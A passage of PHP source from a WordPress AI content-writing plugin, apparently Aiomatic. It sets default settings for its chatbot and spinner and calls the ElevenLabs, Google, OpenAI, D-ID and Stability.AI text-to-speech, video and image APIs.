'https://create-images-results.d-id.com/api_docs/assets/noelle.jpeg', 'audio_template' => '%%post_content%%', 'did_voice' => 'microsoft:en-US-JennyNeural:Cheerful', 'eleven_voice' => '', 'ai_seo' => 'Craft an SEO meta description that optimizes the visibility and click-through rate for the post titled "%%post_title%%." The meta description should be concise, engaging, and provide a clear and compelling summary of the article\'s content, while also incorporating relevant keywords.', 'add_seo' => '', 'eleven_model_id' => '', 'eleven_voice_custom' => '', 'voice_stability' => '', 'voice_similarity_boost' => '', 'voice_style' => '', 'speaker_boost' => '', 'open_model_id' => 'tts-1', 'open_voice' => 'alloy', 'open_format' => 'mp3', 'open_speed' => '1', 'voice_language' => 'en-US', 'google_voice' => '', 'audio_profile' => '', 'voice_speed' => '1', 'voice_pitch' => '0', 'text_to_audio' => '%%post_content%%', 'audio_location' => 'append', 'prep_audio' => '', 'copy_location' => 'local', 'auto_run_interval' => 'No' ); if ($defaults === FALSE) { add_option('aiomatic_Spinner_Settings', $aiomatic_Spinner_Settings); } else { update_option('aiomatic_Spinner_Settings', $aiomatic_Spinner_Settings); } } if (!get_option('aiomatic_Chatbot_Settings') || $defaults === TRUE) { $aiomatic_Chatbot_Settings = array( 'font_size' => '1em', 'show_header' => 'show', 'bubble_width' => 'full', 'bubble_alignment' => 'left', 'bubble_user_alignment' => 'right', 'show_ai_avatar' => 'show', 'show_user_avatar' => 'show', 'user_account_avatar' => '', 'chat_theme' => '', 'show_dltxt' => 'show', 'show_clear' => 'show', 'show_mute' => 'show', 'show_internet' => 'show', 'voice_language' => 'en-US', 'did_image' => 'https://create-images-results.d-id.com/api_docs/assets/noelle.jpeg', 'did_height' => '300', 'did_width' => '300', 'did_voice' => 'microsoft:en-US-JennyNeural:Cheerful', 'google_voice' => '', 'audio_profile' => '', 'voice_speed' => '1', 'voice_pitch' => '0', 'chatbot_text_speech' => 'off', 'free_voice' => 'Google US English;en-US', 'voice_similarity_boost' => '', 'voice_style' => '', 'speaker_boost' => '', 'open_model_id' => 'tts-1', 'open_voice' => 'alloy', 'open_format' => 'mp3', 'open_speed' => '1', 'voice_stability' => '', 'eleven_model_id' => '', 'eleven_voice' => '', 'eleven_voice_custom' => '', 'width' => '100%', 'height' => 'auto', 'minheight' => '250px', 'custom_header' => '', 'custom_footer' => '', 'custom_css' => '', 'background' => '#f7f7f9', 'image_chat_size' => '512x512', 'image_chat_model' => 'dalle2', 'allow_chatbot_site' => '', 'remote_chat' => '', 'user_font_color' => '#ffffff', 'user_background_color' => '#0084ff', 'ai_font_color' => 'black', 'ai_background_color' => '#f0f0f0', 'input_border_color' => '#e1e3e6', 'submit_color' => '#55a7e2', 'submit_text_color' => '#ffffff', 'voice_color' => '#55a7e2', 'voice_color_activated' => '#55a7e2', 'enable_moderation' => '', 'moderation_model' => 'text-moderation-stable', 'flagged_message' => 'Your message has been flagged as potentially harmful or inappropriate. Please review your language and content to ensure it aligns with our values of respect and sensitivity towards others. Thank you for your cooperation.', 'enable_copy' => '', 'enable_html' => 'on', 'disable_modern_chat' => '', 'allow_stream_stop' => '', 'strip_js' => '', 'scroll_bot' => '', 'send_message_sound' => '', 'receive_message_sound' => '', 'response_delay' => '', 'instant_response' => 'false', 'voice_input' => '', 'auto_submit_voice' => '', 'chat_download_format' => 'txt', 'chat_model' => get_default_model_name($aiomatic_Main_Settings), 'temperature' => '1', 'top_p' => '1', 'presence_penalty' => '0', 'frequency_penalty' => '0', 'chat_preppend_text' => 'You are Ava, a friendly and knowledgeable AI chatbot companion. You are designed to provide information, assistance, and engaging conversations on a wide range of topics. Your goal is to make the user\'s experience enjoyable and informative, always prioritizing their comfort and privacy in every interaction. If users have questions or need assistance, they can feel free to ask, and you\'ll do your best to assist them in a friendly and respectful manner.', 'ai_message_preppend' => 'Ava', 'ai_role' => 'AI Chatbot', 'user_message_preppend' => 'User', 'ai_first_message' => 'Hi! How can I help you?', 'assistant_id' => '', 'chat_mode' => 'text', 'user_token_cap_per_day' => '', 'god_blacklisted_functions' => '', 'god_mode_enable_wp' => '', 'god_mode_enable_dalle' => '', 'god_mode_enable_stable' => '', 'god_mode_enable_midjourney' => '', 'target_country' => 'com', 'max_products' => '3-4', 'sort_results' => 'none', 'listing_template' => '%%product_counter%%. %%product_title%% - Desciption: %%product_description%% - Link: %%product_url%% - Price: %%product_price%%', 'god_mode_enable_scraper' => '', 'scrape_method' => '0', 'strip_tags' => '', 'max_chars' => '', 'god_mode_enable_rss' => '', 'max_rss_items' => '5', 'rss_template' => '[%%item_counter%%]: %%item_title%% - %%item_description%%', 'god_mode_enable_google' => '', 'max_google_items' => '5', 'google_template' => '[%%item_counter%%]: %%item_title%% - %%item_snippet%%', 'god_mode_enable_youtube_captions' => '', 'max_caption_length' => '1000', 'god_mode_enable_royalty' => '', 'god_mode_enable_email' => '', 'god_mode_enable_webhook' => '', 'god_mode_enable_facebook_post' => '', 'facebook_post_select' => '', 'god_mode_enable_youtube' => '', 'affiliate_id' => '', 'stable_model' => '', 'ai_image_size_stable' => '', 'god_mode_dalle_failed' => '', 'god_mode_stable_failed' => '', 'god_mode_enable_stable_video' => '', 'ai_video_size_stable' => '768x768', 'god_mode_enable_amazon_details' => '', 'god_mode_enable_amazon' => '', 'ai_image_size' => '512x512', 'ai_image_model' => 'dalle2', 'god_whitelisted_functions' => '', 'god_preview' => '', 'god_mode_enable_twitter_post' => '', 'god_mode_enable_instagram_post' => '', 'god_mode_enable_pinterest_post' => '', 'pinterest_post_select' => '', 'god_mode_enable_google_post' => '', 'god_mode_enable_youtube_post' => '', 'god_mode_enable_reddit_post' => '', 'subreddits_list' => '', 'god_mode_enable_linkedin_post' => '', 'linkedin_selected_pages' => '', 'business_post_select' => array(), 'god_mode_front_end' => 'off', 'max_input_length' => '', 'max_message_count' => '', 'max_message_context' => '', 'restriction_time' => '', 'restriction_count' => '', 'restriction_message' => 'You exceeded your requests limit. Please try again later.', 'no_empty' => '', 'persistent' => 'off', 'persistent_guests' => 'off', 'enable_vision' => 'off', 'enable_file_uploads' => 'off', 'file_expiration_pdf' => '', 'prompt_editable' => 'on', 'file_expiration' => '', 'prompt_templates' => '', 'placeholder' => 'Enter your chat message here', 'submit' => 'Submit', 'compliance' => '', 'select_prompt' => 'Please select a prompt', 'upload_pdf' => '', 'pdf_page' => '10', 'pdf_character' => '', 'pdf_ok' => 'PDF file uploaded successfully! You can ask questions about it.', 'pdf_end' => 'PDF file session ended.', 'pdf_fail' => 'Failed to upload the PDF file, please try again later.', 'window_location' => 'bottom-right', 'page_load_chat' => '', 'enable_front_end' => 'off', 'custom_global_shortcode' => '', 'window_width' => '400px', 'not_show_urls' => '', 'only_show_urls' => '', 'max_time' => '', 'min_time' => '', 'always_show' => array(), 'never_show' => array(), 'show_content_wp' => array(), 'no_show_content_wp' => array(), 'no_show_locales' => array(), 'show_locales' => array(), 'no_show_roles' => array(), 'show_roles' => array(), 'no_show_devices' => array(), 'show_devices' => array(), 'no_show_oses' => array(), 'show_oses' => array(), 'no_show_browsers' => array(), 'show_browsers' => array(), 'no_show_ips' => '', 'show_ips' => '', 'chatbot_icon' => '1', 'chatbot_icon_html' => '' ); if ($defaults === FALSE) { add_option('aiomatic_Chatbot_Settings', $aiomatic_Chatbot_Settings); } else { update_option('aiomatic_Chatbot_Settings', $aiomatic_Chatbot_Settings); } } if (!get_option('aiomatic_Limit_Settings') || $defaults === TRUE) { $aiomatic_Limit_Settings = array( 'user_credits' => '', 'guest_credits' => '', 'limit_message_not_logged' => 'You have reached the usage limit.', 'limit_message_rule' => 'You have reached the usage limit.', 'limit_message_logged' => 'You have reached the usage limit.', 'ignored_users' => 'admin', 'user_credit_type' => 'units', 'guest_credit_type' => 'queries', 'user_time_frame' => 'month', 'guest_time_frame' => 'day', 'is_absolute_user' => '', 'is_absolute_guest' => '', 'enable_limits' => '', 'enable_limits_text' => '', 'block_userids' => '', 'user_credits_text' => '', 'user_credit_type_text' => 'characters', 'user_time_frame_text' => '', 'is_absolute_user_text' => '', 'ignored_users_text' => '', 'guest_credits_text' => '', 'guest_credit_type_text' => 'characters', 'guest_time_frame_text' => '', 'is_absolute_guest_text' => '', 'additional_roles' => array() ); if ($defaults === FALSE) { add_option('aiomatic_Limit_Settings', $aiomatic_Limit_Settings); } else { update_option('aiomatic_Limit_Settings', $aiomatic_Limit_Settings); } } require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); global $wpdb; global $charset_collate; aiomatict_register_aggregated_feed_table(); $sql_create_table = "CREATE TABLE IF NOT EXISTS {$wpdb->aiomatict_shortcode_rez} ( post_id bigint(20) unsigned NOT NULL auto_increment, post_hash text default '', post_result text default '', PRIMARY KEY (post_id) ) $charset_collate; "; dbDelta( $sql_create_table ); } add_action( 'pre_user_query', 'aiomatict_random_user_query' ); function aiomatic_get_eleven_voices() { $default_voices = array( '21m00Tcm4TlvDq8ikWAM' => 'Rachel', 'AZnzlk1XvdvUeBnXmlld' => 'Domi', 'EXAVITQu4vr4xnSDxMaL' => 'Bella', 'ErXwobaYiN019PkySvjV' => 'Antoni', 'MF3mGyEYCl7XYWbV9V6O' => 'Elli', 'TxGEqnHWrfWFTfGW9XjX' => 'Josh', 'VR6AewLTigWG4xSOukaG' => 'Arnold', 'pNInz6obpgDQGcFmaJgB' => 'Adam', 'yoZ06aMxZJJ28mfd3POQ' => 'Sam' ); $aiomatic_elevenlabs = get_option('aiomatic_elevenlabs', false); if(is_array($aiomatic_elevenlabs)) { return array_merge($aiomatic_elevenlabs, $default_voices); } $aiomatic_elevenlabs = aiomatic_update_elevenlabs_voices(); if(is_array($aiomatic_elevenlabs)) { update_option('aiomatic_elevenlabs', $aiomatic_elevenlabs); return array_merge($aiomatic_elevenlabs, $default_voices); } return $default_voices; } function aiomatic_get_google_voices($language) { $aiomatic_elevenlabs = get_option('aiomatic_google_voices' . sanitize_title($language), false); if(is_array($aiomatic_elevenlabs)) { return $aiomatic_elevenlabs; } $aiomatic_elevenlabs = aiomatic_update_google_voices($language); if(is_array($aiomatic_elevenlabs)) { update_option('aiomatic_google_voices' . sanitize_title($language), $aiomatic_elevenlabs); return $aiomatic_elevenlabs; } return false; } function aiomatic_elevenlabs_stream($voice, $text, $option = 'aiomatic_Chatbot_Settings') { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if ((!isset($aiomatic_Main_Settings['elevenlabs_app_id']) || trim($aiomatic_Main_Settings['elevenlabs_app_id']) == '')) { $aiomatic_result = array('status' => 'error', 'msg' => 'Missing ElevenLabs API key'); return $aiomatic_result; } else { $aiomatic_Chatbot_Settings = get_option($option, false); $text = str_replace("\\",'',$text); $text = apply_filters('aiomatic_modify_ai_voice_text', $text); if (isset($aiomatic_Chatbot_Settings['voice_similarity_boost']) && trim($aiomatic_Chatbot_Settings['voice_similarity_boost']) != '') { $voice_similarity_boost = floatval($aiomatic_Chatbot_Settings['voice_similarity_boost']); } else { $voice_similarity_boost = 0.75; } if (isset($aiomatic_Chatbot_Settings['voice_stability']) && trim($aiomatic_Chatbot_Settings['voice_stability']) != '') { $voice_stability = floatval($aiomatic_Chatbot_Settings['voice_stability']); } else { $voice_stability = 0.75; } if (isset($aiomatic_Chatbot_Settings['eleven_model_id']) && trim($aiomatic_Chatbot_Settings['eleven_model_id']) != '') { $eleven_model_id = $aiomatic_Chatbot_Settings['eleven_model_id']; } else { $eleven_model_id = ''; } if (isset($aiomatic_Chatbot_Settings['voice_style']) && trim($aiomatic_Chatbot_Settings['voice_style']) != '') { $voice_style = $aiomatic_Chatbot_Settings['voice_style']; } else { $voice_style = ''; } $voice_settings = array('stability' => $voice_stability, 'similarity_boost' => $voice_similarity_boost); if (isset($aiomatic_Chatbot_Settings['speaker_boost']) && trim($aiomatic_Chatbot_Settings['speaker_boost']) == 'on') { $voice_settings['use_speaker_boost'] = true; } if($voice_style != '') { $voice_settings['style'] = floarval($voice_style); } $rqbody = array('text' => $text, 'voice_settings' => $voice_settings); if($eleven_model_id != '') { $rqbody['model_id'] = $eleven_model_id; } $response = wp_remote_post('https://api.elevenlabs.io/v1/text-to-speech/' . $voice . '/stream', array( 'headers' => array( 'Content-Type' => 'application/json', 'xi-api-key' => trim($aiomatic_Main_Settings['elevenlabs_app_id']) ), 'body' => json_encode($rqbody), 'timeout' => AIOMATIC_DEFAULT_BIG_TIMEOUT )); if(is_wp_error($response)) { $aiomatic_result = array('status' => 'error', 'msg' => $response->get_error_message()); return $aiomatic_result; } else { return wp_remote_retrieve_body($response); } } } function aiomatic_openai_voice_stream($token, $open_model_id, $open_voice, $open_format, $open_speed, $message) { if(empty($token)) { $aiomatic_result = array('status' => 'error', 'msg' => 'You need to enter a valid OpenAI API key for TTS to work.'); return $aiomatic_result; } if(empty($open_model_id)) { $open_model_id = 'tts-1'; } if(empty($open_voice)) { $open_voice = 'alloy'; } if(empty($open_format)) { $open_format = 'mp3'; } if(empty($open_speed)) { $open_speed = '1'; } if(strlen($message) > 4096 && ($open_model_id == 'tts-1' || $open_model_id == 'tts-1-hd')) { $message = substr($message, 0, 4096); } $message = str_replace("\\", '', $message); $message = apply_filters('aiomatic_modify_ai_voice_text', $message); require_once (dirname(__FILE__) . "/res/openai/Url.php"); require_once (dirname(__FILE__) . "/res/openai/OpenAi.php"); $open_ai = new OpenAi($token); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $opts = [ 'tts' => true, 'model' => $open_model_id, 'input' => $message, 'voice' => $open_voice, 'response_format' => $open_format, 'speed' => $open_speed ]; $audioData = $open_ai->createSpeech($opts); return $audioData; } function aiomatic_google_stream($voice, $voice_language, $audio_profile, $voice_speed, $voice_pitch, $text) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with Google Stream'); if ((!isset($aiomatic_Main_Settings['google_app_id']) || trim($aiomatic_Main_Settings['google_app_id']) == '')) { $aiomatic_result = array('status' => 'error', 'msg' => 'Missing Google Text-to-Speech API key'); return $aiomatic_result; } else { if(empty($voice_pitch)) { $voice_pitch = '0'; } if(empty($voice_speed)) { $voice_speed = '1'; } $text = str_replace("\\",'',$text); $text = apply_filters('aiomatic_modify_ai_voice_text', $text); $params = array( 'audioConfig' => array( 'audioEncoding' => 'LINEAR16', 'pitch' => $voice_pitch, 'speakingRate' => $voice_speed, ), 'input' => array( 'text' => $text ), 'voice' => array( 'languageCode' => $voice_language, 'name' => $voice ) ); if(!empty($audio_profile)){ $params['audioConfig']['effectsProfileId'] = array($audio_profile); } $response = wp_remote_post('https://texttospeech.googleapis.com/v1/text:synthesize?fields=audioContent&key=' . trim($aiomatic_Main_Settings['google_app_id']), array( 'headers' => array( 'Content-Type' => 'application/json' ), 'body' => json_encode($params), 'timeout' => AIOMATIC_DEFAULT_BIG_TIMEOUT )); if(is_wp_error($response)) { $aiomatic_result = array('status' => 'error', 'msg' => $response->get_error_message()); return $aiomatic_result; } else { $body = wp_remote_retrieve_body($response); $body = json_decode($body, true); if(isset($body['error'])){ $aiomatic_result['msg'] = $body['error']['message']; } elseif(isset($body['audioContent']) && !empty($body['audioContent'])){ $aiomatic_result['audio'] = $body['audioContent']; $aiomatic_result['status'] = 'success'; } else{ $aiomatic_result['msg'] = esc_html__('Google did not generate any audio for this text','aiomatic-automatic-ai-content-writer'); } } } return $aiomatic_result; } function aiomatic_d_id_video($did_image, $text, $did_voice) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with D-ID API'); if ((!isset($aiomatic_Main_Settings['did_app_id']) || trim($aiomatic_Main_Settings['did_app_id']) == '')) { $aiomatic_result = array('status' => 'error', 'msg' => 'Missing D-ID API key'); return $aiomatic_result; } else { $text = str_replace("\\",'',$text); $text = apply_filters('aiomatic_modify_ai_video_text', $text); $script = array( 'type' => 'text', 'input' => html_entity_decode($text, ENT_QUOTES) ); $did_voice_exp = explode(':', $did_voice); if(isset($did_voice_exp[1])) { if(trim($did_voice_exp[0]) != '') { $script['provider'] = array('type' => strtolower($did_voice_exp[0]), 'voice_id' => trim($did_voice_exp[1])); if(isset($did_voice_exp[2])) { $script['provider']['voice_config']['style'] = trim($did_voice_exp[2]); } } } $params = array( 'source_url' => $did_image, 'script' => $script ); $response = wp_remote_post('https://api.d-id.com/talks', array( 'headers' => array( 'authorization' => 'Basic ' . trim($aiomatic_Main_Settings['did_app_id']), 'accept' => 'application/json', 'content-type' => 'application/json' ), 'body' => json_encode($params), 'timeout' => AIOMATIC_DEFAULT_BIG_TIMEOUT )); if(is_wp_error($response)) { $aiomatic_result = array('status' => 'error', 'msg' => $response->get_error_message()); return $aiomatic_result; } else { $body_resp = wp_remote_retrieve_body($response); $body = json_decode($body_resp, true); if($body === null) { $aiomatic_result['msg'] = 'Failed to decode response: ' . print_r($body_resp, true); return $aiomatic_result; } if(!isset($body['id']) || empty($body['id'])) { $aiomatic_result['msg'] = 'Video ID not found in response: ' . print_r($body, true); return $aiomatic_result; } $idone = false; $retried = 0; while($idone === false && $retried < 50) { $presponse = wp_remote_get('https://api.d-id.com/talks/' . $body['id'], array( 'headers' => array( 'authorization' => 'Basic ' . trim($aiomatic_Main_Settings['did_app_id']), 'accept' => 'application/json', 'content-type' => 'application/json' ), 'timeout' => 1000 )); if(is_wp_error($presponse)) { $aiomatic_result = array('status' => 'error', 'msg' => 'Polling failed: ' . $presponse->get_error_message()); return $aiomatic_result; } else { $pbody_resp = wp_remote_retrieve_body($presponse); $pbody = json_decode($pbody_resp, true); if($pbody === null) { $aiomatic_result['msg'] = 'Failed to decode polling response: ' . print_r($pbody_resp, true); return $aiomatic_result; } if(!isset($pbody['status'])) { $aiomatic_result['msg'] = 'Failed to interpret polling response: ' . print_r($pbody, true); return $aiomatic_result; } if($pbody['status'] == 'done') { if(isset($pbody['result_url'])) { $aiomatic_result['video'] = $pbody['result_url']; $aiomatic_result['status'] = 'success'; $idone = true; } else { $aiomatic_result['msg'] = 'Failed to detect result URL: ' . print_r($pbody, true); return $aiomatic_result; } } elseif($pbody['status'] == 'created' || $pbody['status'] == 'started') { sleep(3); } else { $aiomatic_result['msg'] = 'Failed to interpret polling status: ' . print_r($pbody, true); return $aiomatic_result; } } $retried++; } } } return $aiomatic_result; } function aiomatic_d_id_idle_video($did_image, $text) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with D-ID API'); if ((!isset($aiomatic_Main_Settings['did_app_id']) || trim($aiomatic_Main_Settings['did_app_id']) == '')) { $aiomatic_result = array('status' => 'error', 'msg' => 'Missing D-ID API key'); return $aiomatic_result; } else { $script = array( 'type' => 'text', 'ssml' => true, 'input' => $text ); $params = array( 'source_url' => $did_image, 'script' => $script, 'config' => array( 'fluent' => true, 'stitch' => true ), 'driver_url' => 'bank://lively/' ); $response = wp_remote_post('https://api.d-id.com/talks', array( 'headers' => array( 'authorization' => 'Basic ' . trim($aiomatic_Main_Settings['did_app_id']), 'accept' => 'application/json', 'content-type' => 'application/json' ), 'body' => json_encode($params), 'timeout' => AIOMATIC_DEFAULT_BIG_TIMEOUT )); if(is_wp_error($response)) { $aiomatic_result = array('status' => 'error', 'msg' => $response->get_error_message()); return $aiomatic_result; } else { $body_resp = wp_remote_retrieve_body($response); $body = json_decode($body_resp, true); if($body === null) { $aiomatic_result['msg'] = 'Failed to decode response: ' . print_r($body_resp, true); return $aiomatic_result; } if(!isset($body['id']) || empty($body['id'])) { $aiomatic_result['msg'] = 'Video ID not found in video response: ' . print_r($body_resp, true); return $aiomatic_result; } $idone = false; $retried = 0; while($idone === false && $retried < 50) { $presponse = wp_remote_get('https://api.d-id.com/talks/' . $body['id'], array( 'headers' => array( 'authorization' => 'Basic ' . trim($aiomatic_Main_Settings['did_app_id']), 'accept' => 'application/json', 'content-type' => 'application/json' ), 'timeout' => 1000 )); if(is_wp_error($presponse)) { $aiomatic_result = array('status' => 'error', 'msg' => 'Polling failed: ' . $presponse->get_error_message()); return $aiomatic_result; } else { $pbody_resp = wp_remote_retrieve_body($presponse); $pbody = json_decode($pbody_resp, true); if($pbody === null) { $aiomatic_result['msg'] = 'Failed to decode polling response: ' . print_r($pbody_resp, true); return $aiomatic_result; } if(!isset($pbody['status'])) { $aiomatic_result['msg'] = 'Failed to interpret polling response: ' . print_r($pbody, true); return $aiomatic_result; } if($pbody['status'] == 'done') { if(isset($pbody['result_url'])) { $aiomatic_result['video'] = $pbody['result_url']; $aiomatic_result['status'] = 'success'; $idone = true; } else { $aiomatic_result['msg'] = 'Failed to detect result URL: ' . print_r($pbody, true); return $aiomatic_result; } } elseif($pbody['status'] == 'created' || $pbody['status'] == 'started') { sleep(3); } else { $aiomatic_result['msg'] = 'Failed to interpret polling status: ' . print_r($pbody, true); return $aiomatic_result; } } $retried++; } } } return $aiomatic_result; } function aiomatic_update_elevenlabs_voices() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['elevenlabs_app_id']) || trim($aiomatic_Main_Settings['elevenlabs_app_id']) == '') { return false; } $response = wp_remote_get('https://api.elevenlabs.io/v1/voices', array( 'headers' => array( 'Content-Type' => 'application/json', 'xi-api-key' => trim($aiomatic_Main_Settings['elevenlabs_app_id']) ) )); if(!is_wp_error($response)) { $body = json_decode(wp_remote_retrieve_body($response),true); if($body === null) { aiomatic_log_to_file('Failed to decode response: ' . print_r($response, true)); return false; } else { if(is_array($body) && isset($body['voices']) && is_array($body['voices'])) { $option_voices = []; foreach($body['voices'] as $voice){ $option_voices[$voice['voice_id']] = $voice['name']; } return $option_voices; } else { aiomatic_log_to_file('Error while listing voices: ' . print_r($body, true)); return false; } } } else { aiomatic_log_to_file('Failed to list ElevenLabs voices: ' . $response->get_error_message()); return false; } } function aiomatic_update_google_voices($language) { if(empty($language)) { $language = 'en-US'; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['google_app_id']) || trim($aiomatic_Main_Settings['google_app_id']) == '') { aiomatic_log_to_file('You need to enter an Google Text-to-Speech API key in the plugin\'s settings to use this feature'); return false; } $response = wp_remote_get('https://texttospeech.googleapis.com/v1/voices?languageCode=' . $language . '&key=' . trim($aiomatic_Main_Settings['google_app_id'])); if(!is_wp_error($response)) { $body = json_decode(wp_remote_retrieve_body($response),true); if($body === null) { aiomatic_log_to_file('Failed to decode response: ' . print_r($response, true)); return false; } else { if(is_array($body) && isset($body['voices']) && is_array($body['voices'])) { return $body['voices']; } else { aiomatic_log_to_file('Error while listing voices: ' . print_r($body, true)); return false; } } } else { aiomatic_log_to_file('Failed to list Google Text-to-Speech voices: ' . $response->get_error_message()); return false; } } function aiomatict_random_user_query( $class ) { if( 'rand' == $class->query_vars['orderby'] ) $class->query_orderby = str_replace( 'user_login', 'RAND()', $class->query_orderby ); return $class; } register_deactivation_hook(__FILE__,'aiomatict_deactivate_plugin'); function aiomatict_deactivate_plugin() { global $wpdb; $wpdb->query("DROP TABLE IF EXISTS $wpdb->aiomatict_shortcode_rez"); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['clear_omni']) && $aiomatic_Main_Settings['clear_omni'] == 'on') { delete_option('aiomatic_processed_keywords'); } } function aiomatict_get_item_table_columns(){ return array( 'post_id'=> '%d', 'post_hash' => '%s', 'post_result'=> '%s' ); } add_action( 'init', 'aiomatict_register_aggregated_feed_table', 1 ); add_action( 'switch_blog', 'aiomatict_register_aggregated_feed_table' ); function aiomatict_insert_item($data=array()){ global $wpdb; $data = wp_parse_args($data, array( 'post_hash'=> '', 'post_result'=> '' )); $column_formats = aiomatict_get_item_table_columns(); $data = array_change_key_case ( $data ); $data = array_intersect_key($data, $column_formats); $data_keys = array_keys($data); $column_formats = array_merge(array_flip($data_keys), $column_formats); add_filter('query', 'aiomatict_modifyInsertQuery', 10); $wpdb->insert($wpdb->aiomatict_shortcode_rez, $data, $column_formats); remove_filter('query', 'aiomatict_modifyInsertQuery', 10); if($wpdb->insert_id == 0) { if($wpdb->last_error != '') { $query = htmlspecialchars( print_r($wpdb->last_query, true), ENT_QUOTES ); aiomatic_log_to_file('WordPress database error: "' . $wpdb->last_error . '" QUERY: ' . $query); } } return $wpdb->insert_id; } function aiomatict_modifyInsertQuery( $query ){ $count = 0; $query = preg_replace('/^(INSERT INTO)/i', 'INSERT IGNORE INTO', $query, 1 , $count ); return $query; } function aiomatict_register_aggregated_feed_table() { global $wpdb; $wpdb->aiomatict_shortcode_rez = "{$wpdb->prefix}aiomatict_shortcode_rez"; } register_activation_hook(__FILE__, 'aiomatic_check_version'); function aiomatic_check_version() { if (!function_exists('curl_init')) { echo '

            '.esc_html__('Please enable curl PHP extension. Please contact your hosting provider\'s support to help you in this matter.', 'aiomatic-automatic-ai-content-writer').'

            '; die; } global $wp_version; if (!current_user_can('activate_plugins')) { echo '

            ' . esc_html__('You are not allowed to activate plugins!', 'aiomatic-automatic-ai-content-writer') . '

            '; die; } $php_version_required = '5.0'; $wp_version_required = '2.7'; if (version_compare(PHP_VERSION, $php_version_required, '<')) { deactivate_plugins(basename(__FILE__)); echo '

            ' . sprintf(esc_html__('This plugin can not be activated because it requires a PHP version greater than %1$s. Please update your PHP version before you activate it.', 'aiomatic-automatic-ai-content-writer'), $php_version_required) . '

            '; die; } if (version_compare($wp_version, $wp_version_required, '<')) { deactivate_plugins(basename(__FILE__)); echo '

            ' . sprintf(esc_html__('This plugin can not be activated because it requires a WordPress version greater than %1$s. Please go to Dashboard -> Updates to get the latest version of WordPress.', 'aiomatic-automatic-ai-content-writer'), $wp_version_required) . '

            '; die; } } function aiomatic_generate_stability_image($text = '', $height = '512', $width = '512', $env = '', $retry_count = 0, $returnbase64 = false, &$error = '', $nolocal = false, $stable_model = false) { $is_allowed = apply_filters('aiomatic_is_ai_image_allowed', true, $text); if ( $is_allowed !== true ) { $error = is_string( $is_allowed ) ? $is_allowed : esc_html__('You are not allowed to do this query', 'aiomatic-automatic-ai-content-writer'); $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } $text = apply_filters('aiomatic_modify_ai_image_query', $text); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(empty($stable_model)) { if (!isset($aiomatic_Main_Settings['stable_model']) || trim($aiomatic_Main_Settings['stable_model']) == '') { $stable_model = AIOMATIC_STABLE_DEFAULT_MODE; } else { $stable_model = trim($aiomatic_Main_Settings['stable_model']); } } if (!isset($aiomatic_Main_Settings['stability_app_id']) || trim($aiomatic_Main_Settings['stability_app_id']) == '') { $error = 'You need to enter a Stability.AI API key in the plugin\'s "Settings" menu to use this feature!'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['stability_app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); $stop = null; $session = aiomatic_get_session_id(); $mode = 'stable'; $maxResults = 1; $available_tokens = 1000; $temperature = 1; if($stable_model == 'stable-diffusion-xl-beta-v2-2-2') { if(intval($width) > 512) { $width = 512; } if(intval($height) > 512) { $height = 512; } } if(!isset($aiomatic_Main_Settings['no_img_translate']) || $aiomatic_Main_Settings['no_img_translate'] != 'on') { $text_trans = aiomatic_translate_stability($text); if($text_trans != $text && !empty($text_trans)) { aiomatic_log_to_file('Stability.ai prompt translated from: "' . $text . '" to: "' . $text_trans . '"'); $text = $text_trans; } } if(strlen($text) > 2000) { $text = aiomatic_substr($text, 0, 2000); } $query = new Aiomatic_Query($text, $available_tokens, $stable_model, $temperature, $stop, $env, $mode, $token, $session, $maxResults, $width . 'x' . $height, ''); $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings ); if ( $ok !== true ) { $error = 'Image generator is rate limited: ' . $ok; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Generating Stability.AI Image using prompt: ' . $text . ' height: ' . $height . ' width: ' . $width); } if(intval($height) < 512 || intval($height) > 2048) { $error = 'Invalid height (512-2048): ' . $height; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if(intval($width) < 512 || intval($width) > 2048) { $error = 'Invalid width (512-2048): ' . $width; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if(intval($width) * intval($height) > 1048576) { $error = 'Width x Height must not be greater than 1 Megapixel (1048576), current is: ' . intval($width) * intval($height); $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on' && AIOMATIC_IS_DEBUG === true) { aiomatic_log_to_file('Generating AI Stable Difussion image using model: ' . $stable_model . ' and prompt: ' . $text); } if (!isset($aiomatic_Main_Settings['steps']) || trim($aiomatic_Main_Settings['steps']) == '') { $steps = '50'; } else { $steps = trim($aiomatic_Main_Settings['steps']); } if (!isset($aiomatic_Main_Settings['cfg_scale']) || trim($aiomatic_Main_Settings['cfg_scale']) == '') { $cfg_scale = '7'; } else { $cfg_scale = trim($aiomatic_Main_Settings['cfg_scale']); } if (!isset($aiomatic_Main_Settings['cfg_seed']) || trim($aiomatic_Main_Settings['cfg_seed']) == '') { $cfg_seed = ''; } else { $cfg_seed = trim($aiomatic_Main_Settings['cfg_seed']); } if 